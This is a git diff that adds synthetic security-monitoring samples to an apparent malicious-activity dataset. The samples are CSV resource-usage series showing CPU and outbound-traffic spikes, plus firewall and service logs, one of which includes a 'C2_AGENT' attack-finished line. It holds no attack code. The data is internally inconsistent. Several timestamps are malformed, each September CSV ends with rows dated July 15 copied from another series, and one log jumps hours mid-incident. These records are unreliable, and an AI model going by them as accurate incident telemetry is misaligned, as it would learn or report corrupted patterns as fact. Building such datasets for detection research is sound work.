ID=12345 PROTO=UDP SPT=22016 DPT=80 LEN=1480 +Jul 15 10:06:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23200 DPT=80 LEN=1480 +Jul 15 10:06:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=29294 DPT=80 LEN=1480 +Jul 15 10:06:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41509 DPT=80 LEN=1480 +Jul 15 10:06:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=65015 DPT=80 LEN=1480 +Jul 15 10:06:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39876 DPT=80 LEN=1480 +Jul 15 10:06:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30207 DPT=80 LEN=1480 +Jul 15 10:06:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17861 DPT=80 LEN=1480 +Jul 15 10:06:25 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:10:06:25 ] "GET /health" 200 12 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43253 DPT=80 LEN=1480 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=24744 DPT=80 LEN=1480 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=18274 DPT=80 LEN=1480 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=64410 DPT=80 LEN=1480 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=29394 DPT=80 LEN=1480 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20954 DPT=80 LEN=1480 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=19947 DPT=80 LEN=1480 +Jul 15 10:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=54244 DPT=80 LEN=1480 +Jul 15 10:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17322 DPT=80 LEN=1480 +Jul 15 10:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=56320 DPT=80 LEN=1480 +Jul 15 10:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=36806 DPT=80 LEN=1480 +Jul 15 10:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45988 DPT=80 LEN=1480 +Jul 15 10:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57056 DPT=80 LEN=1480 +Jul 15 10:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=24916 DPT=80 LEN=1480 +Jul 15 10:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46030 DPT=80 LEN=1480 +Jul 15 10:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43742 DPT=80 LEN=1480 +Jul 15 10:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=28563 DPT=80 LEN=1480 +Jul 15 10:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=59010 DPT=80 LEN=1480 +Jul 15 10:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39590 DPT=80 LEN=1480 +Jul 15 10:06:40 CRON[1880]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:06:40 kernel: [1423.456789] C2_AGENT[8899]: Attack command finished. Returning to idle state. diff --git a/mali_dataset/scenario_2/mali_2_10.csv b/mali_dataset/scenario_2/mali_2_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..52feb9bc436493438be29004233c268118a2f23b --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_10.csv @@ -0,0 +1,86 @@ +"timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out" +"2025-09-11T16:33:00Z,22.15,48.18,33.55,2.85,4.12" +"2025-09-11T16:33:05Z,20.99,47.82,31.71,2.75,3.98" +"2025-09-11T16:33:10Z,23.33,48.67,35.01,2.95,4.33" +"2025-09-11T16:33:15Z,21.54,49.02,32.88,2.81,4.05" +"2025-09-11T16:33:20Z,22.87,47.91,34.54,2.90,4.21" +"2025-09-11T16:33:25Z,20.76,48.33,31.11,2.78,4.01" +"2025-09-11T16:33:30Z,23.01,48.98,35.87,2.98,4.41" +"2025-09-11T16:33:35Z,21.88,49.15,33.12,2.83,4.09" +"2025-09-11T16:33:40Z,22.65,48.01,34.88,2.92,4.28" +"2025-09-11T16:33:45Z,20.91,48.21,31.32,2.79,4.03" +"2025-09-11T16:33:50Z,23.12,48.87,35.65,2.97,4.38" +"2025-09-11T16:33:55Z,21.69,49.08,33.01,2.82,4.07" +"2025-09-11T16:34:00Z,22.95,47.99,34.99,2.91,4.25" +"2025-09-11T16:34:05Z,20.82,48.42,31.45,2.80,4.04" +"2025-09-11T16:34:10Z,23.25,48.78,35.78,2.96,4.39" +"2025-09-11T16:34:15Z,21.43,49.11,32.95,2.84,4.11" +"2025-09-11T16:34:20Z,22.78,48.15,34.76,2.93,4.30" +"2025-09-11T16:34:25Z,20.65,48.51,31.23,2.77,4.00" +"2025-09-11T16:34:30Z,23.41,48.91,35.92,2.99,4.45" +"2025-09-11T16:34:35Z,21.99,49.23,33.21,2.85,4.15" +"2025-09-11T16:34:40Z,22.81,48.08,34.81,2.94,4.29" +"2025-09-11T16:34:45Z,20.88,48.35,31.41,2.79,4.02" +"2025-09-11T16:34:50Z,23.19,48.81,35.71,2.98,4.37" +"2025-09-11T16:34:55Z,21.75,49.18,33.08,2.83,4.08" +"2025-09-11T16:35:00Z,22.91,48.02,34.91,2.92,4.26" +"2025-09-11T16:35:05Z,20.71,48.48,31.28,2.78,4.01" +"2025-09-11T16:35:10Z,23.31,48.88,35.81,2.97,4.40" +"2025-09-11T16:35:15Z,99.81,58.21,4.01,0.11,1580.12" +"2025-09-11T16:35:20Z,99.65,58.11,4.23,0.19,1498.56" +"2025-09-11T16:35:25Z,99.78,58.32,4.05,0.12,1610.98" +"2025-09-11T16:35:30Z,99.55,58.08,4.18,0.18,1450.21" +"2025-09-11T16:35:35Z,99.85,58.25,3.99,0.13,1655.76" +"2025-09-11T16:35:40Z,99.61,58.15,4.21,0.19,1512.88" +"2025-09-11T16:35:45Z,99.75,58.35,4.08,0.11,1595.43" +"2025-09-11T16:35:50Z,99.49,58.02,4.25,0.17,1430.99" +"2-25-09-11T16:35:55Z,99.88,58.28,3.95,0.14,1680.19" +"2025-09-11T16:36:00Z,99.58,58.18,4.19,0.19,1480.72" +"2025-09-11T16:36:05Z,99.71,58.38,4.03,0.12,1621.54" +"2025-09-11T16:36:10Z,99.68,58.06,4.22,0.18,1465.83" +"2025-09-11T16:36:15Z,99.82,58.22,3.98,0.13,1660.61" +"2025-09-11T16:36:20Z,99.52,58.12,4.20,0.19,1475.23" +"2025-09-11T16:36:25Z,99.77,58.33,4.06,0.11,1600.76" +"2025-09-11T16:36:30Z,99.45,58.01,4.26,0.17,1422.45" +"2025-09-11T16:36:35Z,99.89,58.29,3.94,0.14,1690.84" +"2025-09-11T16:36:40Z,22.11,48.88,32.54,2.88,4.15" +"2025-09-11T16:36:45Z,21.23,49.12,31.99,2.76,3.95" +"2025-09-11T16:36:50Z,23.05,48.54,34.01,2.95,4.31" +"2025-09-11T16:36:55Z,21.89,48.99,32.76,2.81,4.08" +"2025-09-11T16:37:00Z,22.76,47.88,34.66,2.92,4.25" +"2025-09-11T16:37:05Z,20.95,48.21,31.55,2.79,4.01" +"2025-09-11T16:37:10Z,23.15,48.77,35.55,2.98,4.39" +"2025-09-11T16:37:15Z,21.81,49.05,32.89,2.83,4.10" +"2025-09-11T16:37:20Z,22.88,48.01,34.78,2.93,4.28" +"2025-09-11T16:37:25Z,20.81,48.33,31.39,2.78,4.03" +"2025-09-11T16:37:30Z,23.22,48.85,35.69,2.99,4.42" +"2-25-09-11T16:37:35Z,21.91,49.15,33.15,2.84,4.13" +"2025-09-11T16:37:40Z,22.71,48.11,34.71,2.91,4.27" +"2025-09-11T16:37:45Z,20.92,48.45,31.49,2.80,4.05" +"2025-09-11T16:37:50Z,23.09,48.92,35.61,2.97,4.36" +"2025-09-11T16:37:55Z,21.78,49.21,33.05,2.82,4.09" +"2025-09-11T16:38:00Z,22.85,48.05,34.85,2.93,4.29" +"2025-09-11T16:38:05Z,20.75,48.38,31.35,2.77,4.02" +"2025-09-11T16:38:10Z,23.18,48.82,35.58,2.98,4.38" +"2025-09-11T16:38:15Z,21.85,49.12,33.11,2.85,4.11" +"2025-09-11T16:38:20Z,22.99,48.18,34.95,2.94,4.32" +"2025-09-11T16:38:25Z,20.85,48.52,31.42,2.80,4.06" +"2025-09-11T16:38:30Z,23.01,48.75,35.51,2.96,4.35" +"2025-07-15T10:05:35Z,99.53,56.14,3.85,0.33,1168.34" +"2025-07-15T10:05:40Z,98.31,55.25,4.15,0.25,987.91" +"2025-07-15T10:05:45Z,99.38,55.82,3.57,0.29,1138.82" +"2025-07-15T10:05:50Z,98.65,56.22,2.89,0.22,1035.77" +"2025-07-15T10:05:55Z,99.29,55.69,3.73,0.31,1147.51" +"2025-07-15T10:06:00Z,98.22,54.89,4.03,0.27,990.18" +"2025-07-15T10:06:05Z,99.47,56.25,3.39,0.34,1178.63" +"2025-07-15T10:06:10Z,98.51,55.12,3.19,0.24,1009.24" +"2025-07-15T10:06:15Z,18.95,43.81,19.88,1.21,2.18" +"2025-07-15T10:06:20Z,16.22,42.76,23.14,0.95,1.76" +"2025-07-15T10:06:25Z,14.89,44.59,25.99,0.88,1.65" +"2025-07-15T10:06:30Z,17.03,41.45,21.05,1.03,1.93" +"2025-07-15T10:06:35Z,19.56,40.91,18.37,1.17,2.34" +"2025-07-15T10:06:40Z,15.76,43.01,22.81,0.91,1.88" +"2025-07-15T10:06:45Z,13.99,45.12,28.43,0.84,1.59" +"2025-07-15T10:06:50Z,18.01,42.11,16.79,1.09,2.02" +"2025-07-15T10:06:55Z,16.89,41.83,24.11,0.97,1.81" +"2025-07-15T10:07:00Z,15.33,43.22,20.57,1.14,1.99" diff --git a/mali_dataset/scenario_2/mali_2_10.log b/mali_dataset/scenario_2/mali_2_10.log new file mode 100644 index 0000000000000000000000000000000000000000..bdc437e06287afd67f47b0c7f0c160bae4d7ac70 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_10.log @@ -0,0 +1,25 @@ +Sep 11 16:33:05 systemd-logind[1121]: New session 42 of user admin. +Sep 11 16:33:40 api-gateway[9521]: [INFO] GET /v1/products/xyz - 200 OK (35ms) +Sep 11 16:34:10 CRON[3501]: (www-data) CMD ( /usr/bin/php /var/www/html/cron.php) +Sep 11 16:34:50 api-gateway[9521]: [INFO] GET /v1/users/123 - 200 OK (28ms) +Sep 11 16:35:16 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.13 DST=198.51.100.111 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=22331 DF PROTO=TCP SPT=58001 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 11 16:35:17 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.13 DST=198.51.100.111 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=22332 DF PROTO=TCP SPT=58002 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 11 16:35:25 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.13 DST=198.51.100.111 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=22333 DF PROTO=TCP SPT=58003 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 11 16:35:33 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Sep 11 16:35:33 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Sep 11 16:35:40 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.13 DST=198.51.100.111 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=22334 DF PROTO=TCP SPT=58004 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 11 16:35:43 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 1. +Sep 11 16:35:55 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.13 DST=198.51.100.111 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=22335 DF PROTO=TCP SPT=58005 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 11 16:35:58 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Sep 11 16:36:05 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.13 DST=198.51.100.111 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=22336 DF PROTO=TCP SPT=58006 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 11 16:36:10 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 2. +Sep 11 16:36:15 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.13 DST=198.51.100.111 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=22337 DF PROTO=TCP SPT=58007 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 11 16:36:28 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.13 DST=198.51.100.111 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=22338 DF PROTO=TCP SPT=58008 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 11 16:36:35 systemd[1]: api-gateway.service: Start request repeated too quickly. +Sep 11 16:36:35 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Sep 11 16:36:35 systemd[1]: Failed to start API Gateway Service. +Sep 11 16:36:40 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.13 DST=198.51.100.111 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=22339 DF PROTO=TCP SPT=58009 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 11 16:36:50 systemd[1]: Starting API Gateway Service... +Sep 11 16:37:05 systemd[1]: Started API Gateway Service. +Sep 11 16:37:30 api-gateway[9650]: [INFO] Service started successfully. +Sep 11 16:38:00 systemd-logind[1121]: Session 42 logged out. Waiting for processes to exit. \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_11.csv b/mali_dataset/scenario_2/mali_2_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..f142a6f015964e9b135a6c8d6462a2e19f4293b5 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_11.csv @@ -0,0 +1,86 @@ +"timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out" +"2025-09-12T03:07:00Z,9.54,35.54,18.43,0.98,1.97" +"2025-09-12T03:07:05Z,8.89,35.21,17.87,0.95,1.89" +"2025-09-12T03:07:10Z,10.01,35.98,19.02,1.01,2.05" +"2025-09-12T03:07:15Z,9.23,36.12,18.55,0.99,1.99" +"2025-09-12T03:07:20Z,9.87,35.34,18.87,1.00,2.02" +"2025-09-12T03:07:25Z,8.99,35.65,17.99,0.96,1.91" +"2025-09-12T03:07:30Z,10.12,36.05,19.15,1.02,2.08" +"2025-09-12T03:07:35Z,9.45,36.21,18.65,0.98,2.00" +"2025-09-12T03:07:40Z,9.95,35.45,18.95,1.01,2.04" +"2025-09-12T03:07:45Z,8.78,35.78,17.78,0.94,1.88" +"2025-09-12T03:07:50Z,10.21,36.11,19.22,1.03,2.09" +"2025-09-12T03:07:55Z,9.32,36.18,18.71,0.99,2.01" +"2025-09-12T03:08:00Z,9.78,35.51,18.81,1.00,2.03" +"2025-09-12T03:08:05Z,9.05,35.82,18.05,0.97,1.93" +"2025-09-12T03:08:10Z,10.15,36.15,19.11,1.02,2.07" +"2025-09-12T03:08:15Z,9.11,36.25,18.45,0.98,1.98" +"2025-09-12T03:08:20Z,9.82,35.61,18.91,1.01,2.04" +"2025-09-12T03:08:25Z,8.91,35.95,17.91,0.96,1.92" +"2025-09-12T03:08:30Z,10.08,36.08,19.08,1.03,2.08" +"2025-09-12T03:08:35Z,9.18,36.18,18.18,0.97,1.96" +"2025-09-12T03:08:40Z,91.55,45.11,7.12,0.35,750.41" +"2025-09-12T03:08:45Z,92.15,45.33,6.89,0.41,860.12" +"2025-09-12T03:08:50Z,90.89,44.98,8.01,0.32,782.33" +"2025-09-12T03:08:55Z,92.32,45.81,7.55,0.39,920.92" +"2025-09-12T03:09:00Z,91.21,46.01,6.65,0.34,845.55" +"2025-09-12T03:09:05Z,92.50,45.45,7.83,0.43,990.31" +"2025-09-12T03:09:10Z,90.88,44.78,6.94,0.31,869.87" +"2025-09-12T03:09:15Z,92.24,46.12,7.11,0.38,950.43" +"2025-09-12T03:09:20Z,91.95,45.32,8.15,0.36,820.21" +"2025-09-12T03:09:25Z,92.41,45.89,7.33,0.40,1020.76" +"2025-09-12T03:09:30Z,91.67,44.91,6.87,0.33,850.91" +"2025-09-12T03:09:35Z,92.11,46.23,7.67,0.42,969.15" +"2025-09-12T03:09:40Z,91.01,45.11,7.98,0.35,835.88" +"2025-09-12T03:09:45Z,92.37,45.95,7.01,0.39,1003.45" +"2025-09-12T03:09:50Z,91.43,46.15,6.78,0.32,880.23" +"2025-09-12T03:09:55Z,92.28,45.76,7.45,0.41,975.11" +"2025-09-12T03:10:00Z,91.58,44.88,8.05,0.37,860.47" +"2025-09-12T03:10:05Z,92.61,46.34,7.19,0.44,1050.99" +"2025-09-12T03:10:10Z,91.12,45.22,6.88,0.34,842.19" +"2025-09-12T03:10:15Z,92.45,45.99,7.58,0.40,1015.72" +"2025-09-12T03:10:20Z,91.33,46.09,7.76,0.36,891.54" +"2025-09-12T03:10:25Z,92.19,45.67,7.21,0.42,981.83" +"2025-09-12T03:10:30Z,91.75,44.95,6.99,0.33,865.61" +"2025-09-12T03:10:35Z,92.55,46.18,7.88,0.43,1035.23" +"2025-09-12T03:10:40Z,91.25,45.35,8.11,0.35,858.76" +"2025-09-12T03:10:45Z,92.21,45.85,7.49,0.39,998.94" +"2025-09-12T03:10:50Z,91.49,46.25,6.81,0.32,900.17" +"2025-09-12T03:10:55Z,92.35,45.71,7.63,0.41,1009.42" +"2025-09-12T03:11:00Z,91.05,44.81,7.95,0.37,848.34" +"2025-09-12T03:11:05Z,92.48,46.28,7.28,0.44,1045.81" +"2025-09-12T03:11:10Z,9.88,35.18,18.08,0.98,2.01" +"2025-09-12T03:11:15Z,10.12,36.21,19.23,1.03,2.08" +"2025-09-12T03:11:20Z,9.01,35.85,18.11,0.97,1.95" +"2025-09-12T03:11:25Z,9.98,36.05,19.01,1.01,2.06" +"2025-09-12T03:11:30Z,9.25,35.91,18.25,0.98,1.97" +"2025-09-12T03:11:35Z,10.05,36.11,19.15,1.02,2.07" +"2025-09-12T03:11:40Z,9.15,35.75,18.18,0.97,1.94" +"2025-09-12T03:11:45Z,9.91,36.31,19.08,1.03,2.09" +"2025-09-12T03:11:50Z,9.08,35.88,18.01,0.96,1.93" +"2025-09-12T03:11:55Z,10.18,36.28,19.18,1.02,2.10" +"2025-09-12T03:12:00Z,9.21,35.98,18.21,0.98,1.96" +"2025-09-12T03:12:05Z,10.01,36.01,19.05,1.01,2.05" +"2025-09-12T03:12:10Z,9.31,35.81,18.31,0.97,1.95" +"2025-09-12T03:12:15Z,9.89,36.19,18.99,1.02,2.07" +"2025-09-12T03:12:20Z,9.11,35.71,18.15,0.96,1.92" +"2025-09-12T03:12:25Z,10.25,36.35,19.25,1.03,2.11" +"2025-09-12T03:12:30Z,9.03,35.93,18.03,0.97,1.94" +"2025-09-12T03:12:35Z,9.99,36.09,18.98,1.01,2.06" +"2025-09-12T03:12:40Z,9.19,35.79,18.19,0.98,1.95" +"2025-09-12T03:12:45Z,10.11,36.22,19.12,1.02,2.08" +"2025-07-15T10:05:50Z,98.65,56.22,2.89,0.22,1035.77" +"2025-07-15T10:05:55Z,99.29,55.69,3.73,0.31,1147.51" +"2025-07-15T10:06:00Z,98.22,54.89,4.03,0.27,990.18" +"2025-07-15T10:06:05Z,99.47,56.25,3.39,0.34,1178.63" +"2025-07-15T10:06:10Z,98.51,55.12,3.19,0.24,1009.24" +"2025-07-15T10:06:15Z,18.95,43.81,19.88,1.21,2.18" +"2025-07-15T10:06:20Z,16.22,42.76,23.14,0.95,1.76" +"2025-07-15T10:06:25Z,14.89,44.59,25.99,0.88,1.65" +"2025-07-15T10:06:30Z,17.03,41.45,21.05,1.03,1.93" +"2025-07-15T10:06:35Z,19.56,40.91,18.37,1.17,2.34" +"2025-07-15T10:06:40Z,15.76,43.01,22.81,0.91,1.88" +"2025-07-15T10:06:45Z,13.99,45.12,28.43,0.84,1.59" +"2025-07-15T10:06:50Z,18.01,42.11,16.79,1.09,2.02" +"2025-07-15T10:06:55Z,16.89,41.83,24.11,0.97,1.81" +"2025-07-15T10:07:00Z,15.33,43.22,20.57,1.14,1.99" diff --git a/mali_dataset/scenario_2/mali_2_11.log b/mali_dataset/scenario_2/mali_2_11.log new file mode 100644 index 0000000000000000000000000000000000000000..f74843daa5273007dfb16004b07f9a51ab4c04c9 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_11.log @@ -0,0 +1,20 @@ +Sep 12 03:07:02 postfix/pickup[4102]: AABBCC1122: uid=102 from= +Sep 12 03:07:03 postfix/cleanup[4110]: AABBCC1122: message-id=<20250912030703.AABBCC1122@hostname> +Sep 12 03:07:04 postfix/qmgr[4103]: AABBCC1122: from=, size=1024, nrcpt=1 (queue active) +Sep 12 03:07:05 postfix/smtp[4112]: AABBCC1122: to=, relay=mail.example.com[1.2.3.4]:25, delay=3, delays=1/0/1/1, dsn=2.0.0, status=sent (250 OK) +Sep 12 03:07:45 database-mysql[1888]: [Warning] Aborted connection 88 to db: 'user_db' user: 'webapp' host: 'localhost' (Got an error reading communication packets) +Sep 12 03:08:20 webapp-cron[4150]: [INFO] Starting scheduled task: generate_daily_report +Sep 12 03:08:41 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.14 DST=192.0.2.20 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=33441 PROTO=ICMP TYPE=8 CODE=0 ID=501 SEQ=1 +Sep 12 03:08:42 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.14 DST=192.0.2.20 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=33442 PROTO=ICMP TYPE=8 CODE=0 ID=501 SEQ=2 +Sep 12 03:08:48 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.14 DST=192.0.2.20 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=33443 PROTO=ICMP TYPE=8 CODE=0 ID=501 SEQ=3 +Sep 12 03:09:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.14 DST=192.0.2.20 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=33444 PROTO=ICMP TYPE=8 CODE=0 ID=501 SEQ=4 +Sep 12 03:09:20 webapp-cron[4150]: [ERROR] Task failed: generate_daily_report, timeout after 60 seconds. +Sep 12 03:09:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.14 DST=192.0.2.20 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=33445 PROTO=ICMP TYPE=8 CODE=0 ID=501 SEQ=5 +Sep 12 03:09:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.14 DST=192.0.2.20 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=33446 PROTO=ICMP TYPE=8 CODE=0 ID=501 SEQ=6 +Sep 12 03:09:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.14 DST=192.0.2.20 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=33447 PROTO=ICMP TYPE=8 CODE=0 ID=501 SEQ=7 +Sep 12 10:10:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.14 DST=192.0.2.20 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=33448 PROTO=ICMP TYPE=8 CODE=0 ID=501 SEQ=8 +Sep 12 10:10:33 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.14 DST=192.0.2.20 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=33449 PROTO=ICMP TYPE=8 CODE=0 ID=501 SEQ=9 +Sep 12 10:10:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.14 DST=192.0.2.20 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=33450 PROTO=ICMP TYPE=8 CODE=0 ID=501 SEQ=10 +Sep 12 10:11:05 postfix/qmgr[4103]: AABBCC1122: removed +Sep 12 10:11:30 database-mysql[1888]: [Note] Server uptime: 10 min 35 sec +Sep 12 10:12:01 CRON[4180]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_12.csv b/mali_dataset/scenario_2/mali_2_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..85ea89b83b814b1dce880c5a3084b2404da2f9df --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_12.csv @@ -0,0 +1,86 @@ +"timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out" +"2025-09-13T19:10:00Z,11.85,34.15,15.33,0.71,1.85" +"2025-09-13T19:10:05Z,12.91,33.86,14.16,0.81,1.94" +"2025-09-13T19:10:10Z,11.23,34.13,15.49,0.79,1.87" +"2025-09-13T19:10:15Z,13.01,33.41,14.77,0.85,2.02" +"2025-09-13T19:10:20Z,10.44,34.97,15.20,0.91,1.95" +"2025-09-13T19:10:25Z,12.16,34.84,14.62,0.88,1.91" +"2025-09-13T19:10:30Z,11.28,34.20,15.44,0.87,1.92" +"2025-09-13T19:10:35Z,13.18,33.81,13.78,0.86,2.06" +"2025-09-13T19:10:40Z,11.65,33.99,14.98,0.85,1.88" +"2025-09-13T19:10:45Z,12.63,34.01,14.02,0.91,1.99" +"2025-09-13T19:10:50Z,10.93,35.18,15.31,0.78,1.81" +"2025-09-13T19:10:55Z,12.01,34.53,13.87,0.84,2.03" +"2025-09-13T19:11:00Z,11.76,33.12,14.23,0.82,1.94" +"2025-09-13T19:11:05Z,13.21,34.32,13.53,0.88,2.06" +"2025-09-13T19:11:10Z,10.22,35.21,15.01,0.81,1.94" 